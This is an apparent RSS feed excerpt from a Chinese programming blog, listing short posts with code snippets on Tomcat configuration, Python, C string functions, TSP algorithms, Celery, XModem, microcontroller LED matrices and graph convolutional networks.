alt=&#34;&#34;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;a href=&#34;#&#34;&amp;gt;&amp;lt;img src=&#34;images/3.jpg&#34; alt=&#34;&#34;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;a href=&#34;#&#34;&amp;gt;&amp;lt;img src=&#34;images/4.jpg&#34; alt=&#34;&#34;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;a href=&#34;#&#34;&amp;gt;&amp;lt;img src=&#34;images/5.jpg&#34; alt=&#34;&#34;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;ol class=&#34;bar&#34;&amp;gt; 小按钮数量无法确定，由js动态生成 &amp;lt;/ol&amp;gt; &amp;lt;!--左右焦点--&amp;gt; &amp;lt;div id=&#34;arr&#34;&amp;gt; &amp;lt;span id=&#34;left&#34;&amp;gt; &amp;lt;&amp;lt;/span&amp;gt; &amp;lt;span id=&#34;right&#34;&amp;gt;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 接下来是css样式：&#xA;&amp;lt;style&amp;gt; * { margin: 0; padding: 0 } .</description>
    </item>
    <item>
      <title>tomcat中设置全局变量(vm options)实现配置文件和项目分离</title>
      <link>https://bchobby.github.io/posts/70a912f766798b9c1ea3d5d2dbb76570/</link>
      <pubDate>Wed, 30 May 2018 16:29:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70a912f766798b9c1ea3d5d2dbb76570/</guid>
      <description>tomcat中设置全局变量实现配置文件和项目分离 由于项目中使用的文件较多，每次上线需要将包中的properties文件删除比较麻烦，所以需要将这些配置文件放在服务器一个指定的目录中，这样项目中就不包含这些配置文件方便部署。&#xA;那么如何加载这些配置文件?&#xA;1.通过设置tomcat的vm options来参数来加载配置文件,先在指定的目录中放入需要加载的配置文件,然后在tomcat的bin目录中找到catalina.bat文件,linux系统中为.sh文件，增加”set JAVA_OPTS=-server -Xms256m -Xmx512m -XX:PermSize=128M -XX:MaxNewSize=256m -XX:MaxPermSize=256m -Dglobal.config.path=G:\yididuocang\” 前面是设置的虚拟机内存参数，起作用的是”-Dglobal.config.path=G:\yididuocang\”是这个变量.&#xA;如果是开发环境,我们可以直接通过开发工具设置vm options ,因为我用的是idea,下面举例 2.我们项目中是spring加载的配置文件，所以只用修改相关的xml文件即可加载指定目录下的配置文件&#xA;&amp;lt;bean id=&#34;configPropertiesTest&#34; class=&#34;org.springframework.beans.factory.config.PropertiesFactoryBean&#34;&amp;gt; &amp;lt;property name=&#34;locations&#34;&amp;gt; &amp;lt;list&amp;gt; &amp;lt;value&amp;gt;file:${global.config.path}/opc/opc-business/jdbc.write.properties&amp;lt;/value&amp;gt; &amp;lt;value&amp;gt;file:${global.config.path}/opc/opc-business/jdbc.read.properties&amp;lt;/value&amp;gt; &amp;lt;/list&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;/bean&amp;gt; spring可以用来加载少量的配置文件,如果配置文件量多,推荐第一种&#xA;因为项目中遇到此问题,在网上找到答案,此处内容出处学习来至以下地方&#xA;http://flybear-chf.iteye.com/blog/1197762</description>
    </item>
    <item>
      <title>Python中join()方法的使用</title>
      <link>https://bchobby.github.io/posts/d13e7dd40affcb478ed48feef45b92dc/</link>
      <pubDate>Wed, 30 May 2018 14:41:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d13e7dd40affcb478ed48feef45b92dc/</guid>
      <description> 描述：&#xA;Python的join()方法用于将序列中的元素以指定的字符连接生成一个新的字符串&#xA;语法：&#xA;str.join(sequence)&#xA;参数：&#xA;sequence 要连接的元素序列&#xA;返回值：&#xA;返回通过指定字符连接序列中的元素后生成的新的字符串&#xA;实例：&#xA;#！/usr/bin/python # _*_ coding: UTF-8 _*_ str = &#34;-&#34;; seq = (&#34;a&#34;, &#34;b&#34;, &#34;c&#34;) #字符串序列 print str.join(seq); 输出结果为：&#xA;a-b-c </description>
    </item>
    <item>
      <title>TSP问题，贪心法，最近邻点，最短链接</title>
      <link>https://bchobby.github.io/posts/8545ac65d7ccf56e13ddc2f4a8a42054/</link>
      <pubDate>Tue, 29 May 2018 22:00:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8545ac65d7ccf56e13ddc2f4a8a42054/</guid>
      <description>笔者接着上一次的博客继续讨论TSP问题（TSP问题,动态规划法），这次采用贪心法，至少有两种贪心策略是合理的：最近邻点策略和最短链接策略。&#xA;（一）最近邻点策略&#xA;从任意城市出发，每次在没有到过的城市中选择最近的一个，直到经过了所有的城市，最后回到出发城市。 设图G有n个顶点，边上的代价存储在二维数组w[n][n]中，集合V存储图的顶点，集合P存储经过的边，最近邻点策略求解TSP问题的算法如下： 1． P={ }; 2． V=V-{u0}; u=u0; //从顶点u0出发 3． 循环直到集合P中包含n-1条边 3.1 查找与顶点u邻接的最小代价边(u, v)并且v属于集合V； 3.2 P=P+{(u, v)}; 3.3 V=V-{v}; 3.4 u=v; //从顶点v出发继续求解 代码实现如下： #include &amp;lt;iostream.h&amp;gt; #include&amp;lt;fstream&amp;gt; const int amount = 5; int TSP1(int arc[amount][amount], int temp) { int Count_hyh= 0, TSPLen_hyh = 0; int min_hyh, u, v; int tem[amount] = {0}; u = temp; tem[temp] = 1; while (Count_hyh&amp;lt; amount-1) { min_hyh = 100; for (int j = 0; j &amp;lt; amount; j++) if ((tem[j] == 0) &amp;amp;&amp;amp; (arc[u][j] !</description>
    </item>
    <item>
      <title>C语言printf()、sprintf()、vsprintf()的区别与联系</title>
      <link>https://bchobby.github.io/posts/60a3b1ff64c4dffbe6affd3299a5f262/</link>
      <pubDate>Tue, 29 May 2018 14:26:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60a3b1ff64c4dffbe6affd3299a5f262/</guid>
      <description>from : https://blog.csdn.net/raito__/article/details/48860119 printf() 在控制台应用程序中最为常用，使用也很简单。其参数为格式化字符串。 函数原型：printf(const char *format,[argument]);&#xA;例如：&#xA;int a=1,b=2; printf(&#34;a=%d,b=%d&#34;,a,b); 输出：a=1,b=2 sprintf() 用于将输出存到字符缓冲中。 函数原型：sprintf(char *buffer, const char *format, [argument]);&#xA;例如：&#xA;int a=1,b=2; char s[10]; sprintf(s,&#34;a=%d,b=%d&#34;,1,2); puts(s); 输出：a=1,b=2 vsprintf() 与sprintf() 功能类似。 需要引入相关头文件 #include &amp;lt;stdarg.h&amp;gt;&#xA;函数原型： vsprintf(char *buffer, char *format, va_list param);&#xA;例如：&#xA;void Myprintf(const char* fmt,...); int a=1,b=2; char s[10]; Myprintf(&#34;a=%d,b=%d&#34;,a,b); void Myprintf(const char* fmt,...) { char s[10]; va_start(ap, fmt); vsprintf(s,fmt,ap); va_end(ap); puts(s); } 输出：a=1,b=2 因此可以用 vsprintf() 来实现 sprintf()。</description>
    </item>
    <item>
      <title>KITTI双目数据集使用</title>
      <link>https://bchobby.github.io/posts/c6815038f628ecdc49ec22b68b71ca20/</link>
      <pubDate>Mon, 28 May 2018 14:42:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6815038f628ecdc49ec22b68b71ca20/</guid>
      <description>KITTI是面向自动驾驶的标准测试数据集，这里关注其中双目数据 如图1所示，KITTI使用4个相机采集图像数据，两个为灰度相机，另外两个为彩色相机。 图1. 双目系统包含两个灰度相机和两个彩色相机&#xA;数据格式 KITTI目前有2012和2015两个双目数据集&#xA;stereo2015里可以下载立体校正后的图像对和标定文件；raw data里可以下载原始未校正的图像对和标定文件&#xA;一个典型的标定文件 calib_cam_to_cam.txt 如下：&#xA;calib_time: 09-Jan-2012 13:57:47 corner_dist: 9.950000e-02 S_00: 1.392000e+03 5.120000e+02 K_00: 9.842439e+02 0.000000e+00 6.900000e+02 0.000000e+00 9.808141e+02 2.331966e+02 0.000000e+00 0.000000e+00 1.000000e+00 D_00: -3.728755e-01 2.037299e-01 2.219027e-03 1.383707e-03 -7.233722e-02 R_00: 1.000000e+00 0.000000e+00 0.000000e+00 0.000000e+00 1.000000e+00 0.000000e+00 0.000000e+00 0.000000e+00 1.000000e+00 T_00: 2.573699e-16 -1.059758e-16 1.614870e-16 S_rect_00: 1.242000e+03 3.750000e+02 R_rect_00: 9.999239e-01 9.837760e-03 -7.445048e-03 -9.869795e-03 9.999421e-01 -4.278459e-03 7.402527e-03 4.351614e-03 9.999631e-01 P_rect_00: 7.215377e+02 0.000000e+00 6.095593e+02 0.000000e+00 0.000000e+00 7.215377e+02 1.</description>
    </item>
    <item>
      <title>python celery 多work多队列</title>
      <link>https://bchobby.github.io/posts/42bfb60dfb1850f8e080002906c7f4db/</link>
      <pubDate>Sun, 27 May 2018 22:39:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42bfb60dfb1850f8e080002906c7f4db/</guid>
      <description>1.Celery模块调用既然celery是一个分布式的任务调度模块，那么celery是如何和分布式挂钩呢，celery可以支持多台不通的计算机执行不同的任务或者相同的任务。 如果要说celery的分布式应用的话，就要提到celery的消息路由机制，AMQP协议。具体的可以查看AMQP的文档。简单地说就是可以有多个消息队列(Message Queue)，不同的消息可以指定发送给不同的Message Queue，而这是通过Exchange来实现的。发送消息到Message Queue中时，可以指定routiing_key，Exchange通过routing_key来把消息路由(routes)到不同的Message Queue中去。&#xA;多worker，多队列，实例： 1.在服务器上编写文件tasks.py。首先定义一个Celery的对象，然后通过celeryconfig.py对celery对象进行设置。之后又分别定义了三个task，分别是taskA， taskB和add。&#xA;#!/usr/bin/env #-*-conding:utf-8-*- from celery import Celery,platforms platforms.C_FORCE_ROOT = True app = Celery() app.config_from_object(&#34;celeryconfig&#34;) @app.task def tashA(x,y): return x*y @app.task def taskB(x,y,z): return x+y+z @app.task def add(x,y): return x+y2.编写celeryconfig.py文件。 #!/usr/bin/env python #-*- coding:utf-8 -*- from kombu import Exchange,Queue from celery import platforms platforms.C_FORCE_ROOT = True BROKER_URL = &#34;redis://localhost:6379/7&#34; CELERY_RESULT_BACKEND = &#34;redis://localhost:6379/8&#34; CELERY_QUEUES = ( Queue(&#34;default&#34;,Exchange(&#34;default&#34;),routing_key=&#34;default&#34;), Queue(&#34;for_task_A&#34;,Exchange(&#34;for_task_A&#34;),routing_key=&#34;for_task_A&#34;), Queue(&#34;for_task_B&#34;,Exchange(&#34;for_task_B&#34;),routing_key=&#34;for_task_B&#34;) ) CELERY_ROUTES = { &#39;tasks.</description>
    </item>
    <item>
      <title>单片机8x8点阵让数字0从右到左依次显示循环</title>
      <link>https://bchobby.github.io/posts/48c7d9eb59f7ad03e5534c4d8f3fb2d8/</link>
      <pubDate>Sat, 26 May 2018 11:30:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48c7d9eb59f7ad03e5534c4d8f3fb2d8/</guid>
      <description> 用的单片机是普中的开发板，8x8点阵用的是74hc595进行段选，P0口位选&#xA;74hc595资料点击打开链接&#xA;8x8点阵用的是共阴极（左边的）&#xA;这次我要实现的是让数字0从右到左依次显示&#xA;#include &amp;lt;reg52.h&amp;gt; #include &amp;lt;intrins.h&amp;gt; typedef unsigned int u16; typedef unsigned char u8; sbit SCLK=P3^6; sbit RCK=P3^5; sbit SER=P3^4; u8 code duan0[8][8]={{0x00,0x3C,0x42,0x42,0x42,0x3C,0x00,0x00}, //数字0的段选 {0x3C,0x42,0x42,0x42,0x3C,0x00,0x00,0x00}, {0x42,0x42,0x42,0x3C,0x00,0x00,0x00,0x3C}, {0x42,0x42,0x3C,0x00,0x00,0x00,0x3C,0x42}, {0x42,0x3C,0x00,0x00,0x00,0x3C,0x42,0x42}, {0x3C,0x00,0x00,0x00,0x3C,0x42,0x42,0x42}, {0x00,0x00,0x00,0x3C,0x42,0x42,0x42,0x3C}, {0x00,0x00,0x3C,0x42,0x42,0x42,0x3C,0x00}}; u8 code wei[]={0x7f,0xbf,0xdf,0xef,0xf7,0xfb,0xfd,0xfe}; // 位选 void delay(u16 c)//延时函数 { u8 a,b; for(;c&amp;gt;0;c--) for(b=142;b&amp;gt;0;b--) for(a=2;a&amp;gt;0;a--); } void sandbyte(u8 dat)//给74hc595发送段选的数据 { u8 i; SCLK=0; RCK=0; for(i=0;i&amp;lt;8;i++) { SER=dat&amp;gt;&amp;gt;7; dat&amp;lt;&amp;lt;=1; SCLK=1; _nop_(); _nop_(); SCLK=0; } RCK=1; _nop_(); _nop_(); RCK=0; } void main() { u8 i,j; u8 num; while(1) { for(i=0;i&amp;lt;8;i++) { num=40; while (num--) //让下面的for函数持续运行40次，让数字0 能停留一段时间 { for(j=0;j&amp;lt;8;j++)&#x9;{&#x9;P0=wei[j]; sandbyte(duan0[i][j]); delay(1); sandbyte(0x00);&#x9;} }&#x9;delay(100); //这里是扫描延时100ms }&#x9;} } </description>
    </item>
    <item>
      <title>python 消息队列、异步分布式</title>
      <link>https://bchobby.github.io/posts/06182dd35a7b6c1c972eaeae1e0bcf48/</link>
      <pubDate>Fri, 25 May 2018 22:38:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06182dd35a7b6c1c972eaeae1e0bcf48/</guid>
      <description>一.消息队列消息队列：是在消息的传输过程中保存消息的容器。 消息队列最经典的用法就是消费者和生成者之间通过消息管道来传递消息，消费者和生成者是不同的进程。生产者往管道中写消息，消费者从管道中读消息。 操作系统提供了很多机制来实现进程间的通信 ，multiprocessing模块就提供了Queue和Pipe两种方法来实现。&#xA;其中P指producer，即生产者；C指consumer，即消费者。中间的红色表示消息队列，实例中表现为HELLO队列。&#xA;1.生产消费实例 Queue 单向进行，即生产者只进行发消息，消费者只进行收 #导入模块 from multiprocessing import Queue from threading import Thread import time #创建生产者 def producer(q): print(&#34;start producer&#34;) for i in range(10): q.put(i) #发消息 time.sleep(0.5) print(&#34;end producer&#34;) #创建消费者，消费者一般是个死循环，要一直监听是否有需要处理的信息。 def customer(q): print(&#34;start customer&#34;) while 1: data = q.get() #收消息 print(&#34;customer has get value {0}&#34;.format(data)) if __name__ == &#39;__main__&#39;: q = Queue() #创建一个队列 pro = Thread(target=producer,args=(q,)) cus = Thread(target=customer,args=(q,)) pro.start() cus.start() 结果为：&#xA;start producer start customer producer has produced value 0 customer has get value 0 producer has produced value 1 customer has get value 1 producer has produced value 2 customer has get value 2 producer has produced value 3 customer has get value 3 producer has produced value 4 customer has get value 4 producer has produced value 5 customer has get value 5 producer has produced value 6 customer has get value 6 producer has produced value 7 customer has get value 7 producer has produced value 8 customer has get value 8 producer has produced value 9 customer has get value 9 end producer 可见生产一个则消费一个。</description>
    </item>
    <item>
      <title>解决 MySQL命令窗口查看插入中文数据乱码问题</title>
      <link>https://bchobby.github.io/posts/458ae88c8da8a27e518cea05af0c62ce/</link>
      <pubDate>Fri, 25 May 2018 18:44:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/458ae88c8da8a27e518cea05af0c62ce/</guid>
      <description>MySQL中文数据乱码问题&#xA;解决办法：&#xA;查看命令提示符属性的编码方式&#xA;use names 自己电脑命令提示符属性的编码方式;&#xA;修改后的&#xA;插入也是一样的。</description>
    </item>
    <item>
      <title>Latex表格宽度调整</title>
      <link>https://bchobby.github.io/posts/ab36d97ffdfa66e7f3634483c0086d12/</link>
      <pubDate>Fri, 25 May 2018 11:43:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab36d97ffdfa66e7f3634483c0086d12/</guid>
      <description>Latex表格宽度调整 原文：https://blog.csdn.net/Rained_99/article/details/79389189</description>
    </item>
    <item>
      <title>XYNUOJ 奇偶位互换</title>
      <link>https://bchobby.github.io/posts/579e2ad2105ae17573186e6a75267a90/</link>
      <pubDate>Fri, 25 May 2018 11:12:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/579e2ad2105ae17573186e6a75267a90/</guid>
      <description> #include&amp;lt;stdio.h&amp;gt;&#xA;#include&amp;lt;string.h&amp;gt;&#xA;int main()&#xA;{&#xA;int n;&#xA;int i;&#xA;char t;&#xA;scanf(&#34;%d&#34;,&amp;amp;n);&#xA;for(;n-1&amp;gt;=0;n--)&#xA;{&#xA;char a[50];&#xA;scanf(&#34;%s&#34;,a); //这句要是换成gets(a);&#xA;结果如图，用gets()就被吞掉字符，而scanf(&#34;%s&#34;,a); 就没事！&#xA;纳闷了，欢迎大神解释解释！&#xA;for(i=0;a[i]!=&#39;\0&#39;;i=i+2) { t=a[i]; a[i]=a[i+1]; a[i+1]=t; } puts(a)； } return 0; } </description>
    </item>
    <item>
      <title>小程序官方后台以管理员身份登录，仍提示未绑定开发者解决方法</title>
      <link>https://bchobby.github.io/posts/1fa2c1e006ad624038f72c776b18ee60/</link>
      <pubDate>Thu, 24 May 2018 21:26:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fa2c1e006ad624038f72c776b18ee60/</guid>
      <description> 开始做小程序开发的时候，微信公众平台|小程序的开发管理板块，用管理员账户登录，会提示未绑定开发者，但是点击“绑定开发者”进入“用户身份”页面，明明都有管理员的账号在里面，但是是有提示。不知道是不是新更新只有我一个遇到这个问题，网上竟然找不到任何资料。一头雾水，后台尝试一下，加了另外一个微信账号到“用户身份”，作为开发者身份后就可以了。相信是新版小程序页面的一个bug，在小程序的文档里面也还没有写清楚。 </description>
    </item>
    <item>
      <title>vivado约束文件报错</title>
      <link>https://bchobby.github.io/posts/7240e5b5f74ae925690ec357f219661d/</link>
      <pubDate>Thu, 24 May 2018 15:54:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7240e5b5f74ae925690ec357f219661d/</guid>
      <description>&#39;set_property&#39; expects at least one object&#xA;报XDC里面的set_property找不到正确的object，这个在vivado后续版本中都显示为警告，一般都是处于object的port名大小写问题。&#xA;XDC和Verilog都对大小写敏感。建议RTL内部接口定义全部用小写。&#xA;错误： set_property PACKAGE_PIN &#34;V7 &#34; [get_ports &#34;CN1_V7 &#34;]&#xA;正确： set_property PACKAGE_PIN &#34;V7 &#34; [get_ports &#34;CN1_v7 &#34;]&#xA;ERROR: [DRC 23-20] Rule violation (UCIO-1) Unconstrained Logical Port - 9 out of 194 logical ports have no user assigned specific location constraint (LOC). This may cause I/O contention or incompatibility with the board power or connectivity affecting performance, signal integrity or in extreme cases cause damage to the device or the components to which it is connected.</description>
    </item>
    <item>
      <title>Voronoi图和Delaunay三角网</title>
      <link>https://bchobby.github.io/posts/2930e93bead78ca6f5131eb288f671c2/</link>
      <pubDate>Thu, 24 May 2018 13:52:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2930e93bead78ca6f5131eb288f671c2/</guid>
      <description>一、使用Delaunator生成点的Delaunay图。&#xA;图1. 偏移，坐标设置不正确&#xA;二、利用D3.js生成Voronoi图与Delaunay三角网&#xA;D3.js v4生成的Voronoi图&#xA;2.1 定义projection&#xA;使用d3.geoMercator()定义数据所对应的投影。&#xA;let projection = d3.geoMercator(); 2.2 定义绘制path&#xA;利用d3.geoPath定义绘制地理数据所需的path。&#xA;let path = d3.geoPath().projection(projection) 2.3 GeoJSON点集数据&#xA;使用d3.json读取点集数据，并根据数据的格式进行解析，取得GeoJSON中的features。并根据feature数据中的geometry，获得其中的坐标信息（coordinates)，得到生成voronoi图所需的点集数据（points）。&#xA;图2. 底图，模拟的点集&#xA;2.4 生成voronoi图&#xA;使用前面所获得的坐标点集信息，利用d3.voronoi生成voronoi图的各多边形（polygons）。&#xA;voronoi(points).polygons 图3. 利用点集生成的Voronoi图&#xA;2.5 生成Delaunay三角网&#xA;voronoi.links(points) 图4. 点集对应的Delaunay三角网&#xA;2.6 Voronoi图与Delaunay三角网的叠加&#xA;图5. Voronoi图和Delaunay三角网的叠加&#xA;图6. 结合OpenLayers，集成Voronoi图&#xA;图7. 集成Voronoi和Delaunay图，使用ImageCanvas绘制&#xA;三、裁剪，把约束范围外的图形裁剪掉&#xA;3.1 裁剪的方法&#xA;使用空间裁剪算法：Greiner-Hormann；Cohen-Sutherland；Martinez-Rueda；Weiler-Atherton；Vatti&#xA;使用绘制底层裁剪方法：Canvas clip；SVG clip&#xA;3.2 利用Canvas Clip进行裁剪的结果&#xA;1）读取裁剪区域的Geometry多边形；&#xA;2）循环读取坐标对；&#xA;3）利用projection，把坐标对从地理空间（Earth）投影到像素空间（Screen）;&#xA;4) 利用转换的坐标对构建Canvas clip对象；&#xA;图8. 裁剪的结果&#xA;图9. 裁剪的结果&#xA;3.3 使用Canvas clip进行裁剪中存在的问题&#xA;1）多个多边形，如何裁剪？台湾及海南岛的问题。&#xA;2）没有考虑边界的Voronoi效应；只是单纯的裁剪。</description>
    </item>
    <item>
      <title>关于python2的json格式转换</title>
      <link>https://bchobby.github.io/posts/db01be6fefb685036795280e2c35a383/</link>
      <pubDate>Wed, 23 May 2018 18:10:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db01be6fefb685036795280e2c35a383/</guid>
      <description>json.loads() 将json格式转换为python字典&#xA;json.dumps() 将python字典转换为json格式&#xA;python想要以中文输出json格式的话，应该这样写json.dumps(json.loads(info,ensure_ascii=False))</description>
    </item>
    <item>
      <title>C语言写一个计算器的三种方法</title>
      <link>https://bchobby.github.io/posts/9b4ce7b4ec32f1af8d945fd99a6480a4/</link>
      <pubDate>Wed, 23 May 2018 17:50:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b4ce7b4ec32f1af8d945fd99a6480a4/</guid>
      <description>方法一：常规方法&#xA;#include&amp;lt;stdio.h&amp;gt; int Add(int a, int b) { return a + b; } int Sub(int a, int b) { return a - b; } int Mul(int a, int b) { return a * b; } int Div(int a, int b) { return a / b; } void menu() { printf(&#34;****************************\n&#34;); printf(&#34;***** 1.add 2.sub *****\n&#34;); printf(&#34;***** 3.mul 4.div *****\n&#34;); printf(&#34;****** 0.exit *****\n&#34;); printf(&#34;****************************\n&#34;); } int main() { int input = 1; int x = 0; int y = 0; int ret = 0; while (input) { menu(); printf(&#34;</description>
    </item>
    <item>
      <title>XModem协议</title>
      <link>https://bchobby.github.io/posts/e6b04d99cf7f41d21c90e9813fbf2766/</link>
      <pubDate>Wed, 23 May 2018 09:19:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6b04d99cf7f41d21c90e9813fbf2766/</guid>
      <description>出处：XModem协议&#xA;XModem协议介绍：&#xA;XModem是一种在串口通信中广泛使用的异步文件传输协议，分为XModem和1k-XModem协议两种，前者使用128字节的数据块，后者使用1024字节即1k字节的数据块。&#xA;一、XModem校验和协议&#xA;1. XModem信息包格式&#xA;XModem协议最早由Ward Christensen在20世纪70年代提出并实现的，传输数据单位为信息包，信息包格式如下：&#xA;--------------------------------------------------------------------------- | Byte1 | Byte2 | Byte3 |Byte4~Byte131| Byte132 | |-------------------------------------------------------------------------| |Start Of Header|Packet Number|~(Packet Number)| Packet Data | Check Sum | --------------------------------------------------------------------------- 2. 校验和的计算&#xA;所有的数据字节都将参与和运算，由于校验和只占一个字节，如果累加的和超过255将从零开始继续累加。&#xA;3. 字段定义&#xA;&amp;lt;SOH&amp;gt; 01H&#xA;&amp;lt;EOT&amp;gt; 04H&#xA;&amp;lt;ACK&amp;gt; 06H&#xA;&amp;lt;NAK&amp;gt; 15H&#xA;&amp;lt;CAN&amp;gt; 18H&#xA;4. 校验和方式的XModem传输流程&#xA;传输流程如图所示：&#xA;------------------------------------------------------------------------------ | SENDER | | RECIEVER | | | &amp;lt;--- | NAK | | | | Time out after 3 second | | | &amp;lt;--- | NAK | | SOH|0x01|0xFE|Data[0~127]|CheckSum| | ---&amp;gt; | | | | &amp;lt;--- | ACK | | SOH|0x02|0xFD|Data[0~127]|CheckSum| | ---&amp;gt; | | | | &amp;lt;--- | NAK | | SOH|0x02|0xFD|Data[0~127]|CheckSum| | ---&amp;gt; | | | | &amp;lt;--- | ACK | | SOH|0x03|0xFC|Data[0~127]|CheckSum| | ---&amp;gt; | | | | &amp;lt;--- | ACK | | .</description>
    </item>
    <item>
      <title>SpringMvc提交问题</title>
      <link>https://bchobby.github.io/posts/66a5e709aadb04cca71a729beea7e165/</link>
      <pubDate>Tue, 22 May 2018 21:57:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66a5e709aadb04cca71a729beea7e165/</guid>
      <description>The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).&#xA;这个异常是因为提交参数的类型和接收方的类型不一致产生的</description>
    </item>
    <item>
      <title>File基础知识</title>
      <link>https://bchobby.github.io/posts/b39a5a4c012fdbfeaad12d7096dd4ce0/</link>
      <pubDate>Mon, 21 May 2018 19:58:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b39a5a4c012fdbfeaad12d7096dd4ce0/</guid>
      <description>1:什么是file？&#xA;文件和文件夹：&#xA;文件夹是用来组织和管理磁盘文件的一种数据结构。&#xA;文件是在电脑中，一实现某种功能、或某个软件的部分功能为目的定义的一个单位。文件是由文件名和图标组成，一种类型的文件具有相同的图标。 2:File类的功能。 （1）：获得文件或文件夹的属性信息。&#xA;（）：创建、删除、重命名文件等。&#xA;3：常见方法解释 canRead() 测试应用程序是否能从指定的文件中进行读取。 canWrite() 测试应用程序是否能写当前文件。 delete() 删除当前对象指定的文件。 equals(Object) 比较该对象和指定对象。 exists() 测试当前 File 是否存在。 getAbsolutePath() 返回由该对象表示的文件的绝对路径名。 getCanonicalPath() 返回当前 File 对象的路径名的规范格式。 getName() 返回表示当前对象的文件名。 getParent() 返回当前 File 对象路径名的父路径名，如果此名没有父路径则为 null。 getPath() 返回表示当前对象的路径名。 hashCode() 计算此文件的一个哈希码。 isAbsolute() 测试当前 File 对象表示的文件是否是一个绝对路径名。 isDirectory() 测试当前 File 对象表示的文件是否是一个路径。 isFile() 测试当前 File 对象表示的文件是否是一个“普通”文件。 lastModified() 返回当前 File 对象表示的文件最后修改的时间。 length() 返回当前 File 对象表示的文件长度。 list() 返回当前 File 对象指定的路径文件列表。 list(FilenameFilter) 返回当前 File 对象指定的目录中满足指定过滤器的文件列表。 mkdir() 创建一个目录，它的路径名由当前 File 对象指定。 mkdirs() 创建一个目录，它的路径名由当前 File 对象指定，包括任一必须的父路径。 renameTo(File) 将当前 File 对象指定的文件更名为给定参数 File 指定的路径名。 toString() 返回当前对象的字符串表示.</description>
    </item>
    <item>
      <title>谷歌调试</title>
      <link>https://bchobby.github.io/posts/9ac9cb6ec1ec0a395aea89bb6584488b/</link>
      <pubDate>Mon, 21 May 2018 16:39:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ac9cb6ec1ec0a395aea89bb6584488b/</guid>
      <description> console.log(xxx); ---控制台带印输出xxx degger --- 进入调试模式 断点与 js代码修改：单步执行(F10快捷键)、单步跳入此执行块(F11快捷键) 在调试中如果发现需要修改的地方，也是可以立即修改的，修改后保存即可生效 快速进入调试的方法： F11进入此程序块，此时将鼠标放在此函数上，会出现相关提示，会告诉你在该文件的哪一行代码处，点击即可直接看到这个函数，然后临时打上断点，按F10或者点击右上角的第二个按钮即可直接进入此函数的断点处 F8: 继续执行&#xA;F10: step over, 单步执行, 不进入函数 F11: step into, 单步执行, 进入函数 shift + F11: step out, 跳出函数 ctrl + o: 打开文件 ctrl + shit + o: 跳到函数定义位置 ctrl + shift + f: 所有脚本中搜索 ctrl+p 项目中定位文件 Snippets 随时编写代码，代码是全局保存的，我们在任何页面，包括新建标签页，都可以查看或运行这些代码。 每次格式化JSON数据都要编写这段代码实在太麻烦，我们可以使用chrome控制台的copy接口解决这一问题： 请求项的右键菜单中选择Copy Response拷贝响应内容 命令行中使用copy接口处理数据 得到格式化的JSON数据 </description>
    </item>
    <item>
      <title>浅析图卷积神经网络</title>
      <link>https://bchobby.github.io/posts/45c539fecdf372d3df7da6d0a8f178cc/</link>
      <pubDate>Mon, 21 May 2018 10:31:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45c539fecdf372d3df7da6d0a8f178cc/</guid>
      <description>今天想和大家分享的是图卷积神经网络。随着人工智能发展，很多人都听说过机器学习、深度学习、卷积神经网络这些概念。但图卷积神经网络，却不多人提起。那什么是图卷积神经网络呢？简单的来说就是其研究的对象是图数据（Graph），研究的模型是卷积神经网络。&#xA;为什么有图卷积神经网络 自2012年以来，深度学习在计算机视觉以及自然语言处理两个领域取得了巨大的成功。和传统方法相比，它好在哪里呢？&#xA;假设有一张图，要做分类，传统方法需要手动提取一些特征，比如纹理啊，颜色啊，或者一些更高级的特征。然后再把这些特征放到像随机森林等分类器，给到一个输出标签，告诉它是哪个类别。而深度学习是输入一张图，经过神经网络，直接输出一个标签。特征提取和分类一步到位，避免了手工提取特征或者人工规则，从原始数据中自动化地去提取特征，是一种端到端（end-to-end）的学习。相较于传统的方法，深度学习能够学习到更高效的特征与模式。&#xA;卷积神经网络很好，但是它研究的对象还是限制在Euclidean domains的数据。什么是Euclidean data？ Euclidean data最显著的特征就是有规则的空间结构，比如图片是规则的正方形栅格，比如语音是规则的一维序列。而这些数据结构能够用一维、二维的矩阵表示，卷积神经网络处理起来很高效。&#xA;但是，我们的现实生活中有很多数据并不具备规则的空间结构，称为Non Euclidean 